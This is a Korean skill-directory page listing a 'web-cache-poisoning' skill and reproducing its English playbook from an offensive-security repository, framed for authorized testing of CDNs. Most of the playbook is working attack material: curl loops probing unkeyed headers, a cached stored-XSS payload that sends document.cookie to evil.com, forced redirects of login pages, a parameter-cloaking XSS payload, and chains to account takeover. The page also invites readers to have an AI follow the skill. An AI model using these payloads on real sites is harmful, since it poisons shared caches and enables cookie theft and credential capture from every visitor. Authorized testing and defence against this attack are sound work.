본문으로 건너뛰기
Skillpedia
보안6.5k · #14085

web-cache-poisoning

하는 일

이 가이드는 공유 캐시가 공격자가 만든 응답을 저장해 이후 방문자에게 그대로 전달하는 공격을 다룹니다. 캐시와 CDN을 웹 앱 앞에 두고 운영하는 보안 팀을 위한 것입니다.

사용하는 경우

  • ✓허가된 테스트에서 공유 캐시가 캐시 키가 무시하는 헤더를 쓰는지 확인하려는 경우.
  • ✓팀이 CDN을 운영하며 전달되는 헤더가 안전하게 처리되는지 확인하고 싶을 때.
  • ✓캐시된 페이지가 요청 헤더를 내용이나 리다이렉트에 반영하는 경우.

스킬 링크

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/web-cache-poisoning/SKILL.md

복사해서 AI(Claude, ChatGPT, Cursor)에 붙여넣고 지침을 따르도록 요청하세요.

사용 방법

가장 쉬운 방법입니다. 메시지를 복사해 AI에 붙여넣으세요. AI가 스킬을 읽고 지침을 따릅니다.

바로 붙여넣을 수 있는 메시지

Use this skill to help me: https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/web-cache-poisoning/SKILL.md Read the SKILL.md file at that link and follow its instructions for my task.
AI가 이런 스킬을 알아서 찾아 쓰길 원하시나요?무료 Skillpedia MCP를 설치하세요. 한 줄이면 작업마다 스킬 15,000+개 중에서 검색합니다.1분 만에 설치 →

AI에게 요청하는 예시

“우리 CDN은 많은 방문자에게 페이지를 캐시합니다. 어떤 요청 헤더가 모두에게 캐시되는 내용을 바꿀 수 있는지 확인해 주세요.”

매주 새 스킬 5개. 읽는 데 1분.

작동 방식

에이전트는 캐시 상태 신호를 확인하고, 원본 서버가 반영할 수 있는 헤더를 테스트한 뒤, 깨끗한 요청에 바뀐 응답이 전달되는지 확인합니다.

기술 내용 (원본 SKILL.md)

작성자의 영어 원문을 GitHub에서 그대로 가져왔습니다.

Web Cache Poisoning Playbook

Distinct from cache deception (tricking the cache into storing a victim's private response). Here, the attacker poisons the shared cache so every subsequent visitor receives an attacker-controlled response. Impact ranges from defacement → reflected-XSS-as-stored → forced-redirect → DoS.

1. Detection — find unkeyed inputs

Definition: an unkeyed input is a header/parameter the cache ignores when building the cache key but the origin reflects into the response.

URL="https://<TARGET>/"

# (1) Cache-status fingerprint — must see HIT/MISS to know caching exists
curl -s -D- -o /dev/null "$URL?cb=$RANDOM" | grep -iE "age|x-cache|cf-cache-status|via"

# (2) Suspect headers — reflect into body or Location?
for H in "X-Forwarded-Host: evil.com" "X-Forwarded-Scheme: http" \
         "X-Forwarded-Port: 8888" "X-Forwarded-For: evil.com" \
         "X-Host: evil.com" "X-Original-URL: /admin" \
         "X-Rewrite-URL: /admin" "X-Forwarded-Server: evil.com" \
         "Forwarded: host=evil.com"; do
  echo "== $H =="
  curl -s "$URL?cb=$RANDOM" -H "$H" | grep -E "evil\.com|8888|/admin" | head -3
done

# (3) Confirm poisoning — same URL twice, second request WITHOUT the header
curl -s "$URL?poison=1" -H "X-Forwarded-Host: evil.com" -o /dev/null
curl -s "$URL?poison=1" | grep -E "evil\.com"   # if present → poisoned

2. Misconfig / technique matrix

Class Trigger Outcome
Standard unkeyed header X-Forwarded-Host: evil.com reflected into <link rel=canonical> or absolute URLs stored open-redirect / XSS
Scheme downgrade X-Forwarded-Scheme: http reflected force-HTTP cache → MITM
Port confusion X-Forwarded-Port: 1 reflected into JS asset URLs broken site DoS
Routing override X-Original-URL: /admin, X-Rewrite-URL cached admin page served to public
Fat GET GET with a body parsed by origin but unkeyed by cache inject params via body
Parameter cloaking ?utm=x&utm=<payload> — cache normalizes, origin doesn't (or vice-versa) poisoned param survives
Key normalization flaw cache lowercases path, origin doesn't (or strips ;jsessionid) desync key vs. response
Cache-key injection via Vary gap response varies on header cache doesn't include per-attacker poisoning
HTTP/0.9 / smuggling-assist downstream cache stores smuggled response mass poisoning
Cache-Control overlap origin returns Cache-Control: private, CDN ignores it private response cached globally
Oversized-header DoS huge unkeyed header → origin 400, CDN caches 400 denial-of-service on the URL
404 / error caching error page cached with attacker payload reflected DoS + stored XSS

3. Exploit PoC

3.1 Stored-XSS via unkeyed Host

# Origin reflects X-Forwarded-Host into <meta property="og:url">
curl -s "https://<TARGET>/?cb=$RANDOM" \
  -H 'X-Forwarded-Host: a"><script>fetch("https://evil.com/?c="+document.cookie)</script><x="'
# Verify cache HIT for the next visitor:
curl -s "https://<TARGET>/?cb=$RANDOM" | grep -o 'evil\.com'

3.2 Forced redirect

curl -s "https://<TARGET>/login?cb=$RANDOM" -H "X-Forwarded-Host: evil.com" -o /dev/null
# Subsequent victims:
curl -sI "https://<TARGET>/login?cb=$RANDOM" | grep -i location
# → Location: https://evil.com/login  (cached for the TTL)

3.3 Param-cloaking poison (Ruby/Rails-style last-wins vs. CDN first-wins)

curl -s "https://<TARGET>/?utm=clean&utm=%22%3E%3Csvg/onload=alert(1)%3E"

4. Chains

  • Cache poisoning → stored XSS: reflected XSS upgraded to mass-victim impact via cached response.
  • Cache poisoning → ATO: poison /login to send creds to attacker via swapped form action.
  • Cache poisoning → SSRF: poison API responses an internal job consumes.
  • Smuggling → cache poisoning: HTTP request smuggling stores arbitrary attacker response globally.

5. Tools

  • Burp Suite — Param Miner extension (Hackvertor + cache rules) — the canonical tool
  • cache-poisoning payload lists (PortSwigger research)
  • httpx -follow-redirects -title -tech-detect for fingerprinting Vary/X-Cache

6. Detection signatures & OPSEC

Indicator Detection method OPSEC note
Repeated X-Forwarded-* permutations on one URL WAF rule / access log Cache-bust with ?cb=$RANDOM per probe; do NOT poison shared paths during tests
Sudden cache HIT containing attacker host CDN log rev
자주 묻는 질문

캐시 디셉션과는 어떻게 다른가요?

가이드는 캐시 디셉션은 피해자의 비공개 페이지를 저장하는 것이고, 포이즈닝은 공유 캐시가 모두에게 제공하는 내용을 바꾸는 것이라고 설명합니다.

키에 포함되지 않은 입력이란 무엇인가요?

캐시가 키를 만들 때 무시하지만 앱은 응답에서 사용하는 헤더나 파라미터입니다.

영향은 어느 정도인가요?

가이드는 페이지 훼손부터 리다이렉트와 크로스 사이트 스크립팅까지 영향이 다양할 수 있다고 말합니다.

상세 정보

작성자의 원본 설명

Unkeyed-input cache poisoning — X-Forwarded-Host/Scheme/Port, X-Original-URL, fat-GET, parameter cloaking, oversized-header DoS, and chains to stored-XSS / open redirect via shared caches.

repo: BitterSecurity/Decepticon

인기도

GitHub 스타
6.5k
순위
#14085
라이선스
Apache-2.0
업데이트
2026. 11. 1.

이 스킬이 유용한가요?

0

로그인 투표하려면 로그인하세요.

댓글

  • …

이 저장소의 다른 스킬

비슷한 스킬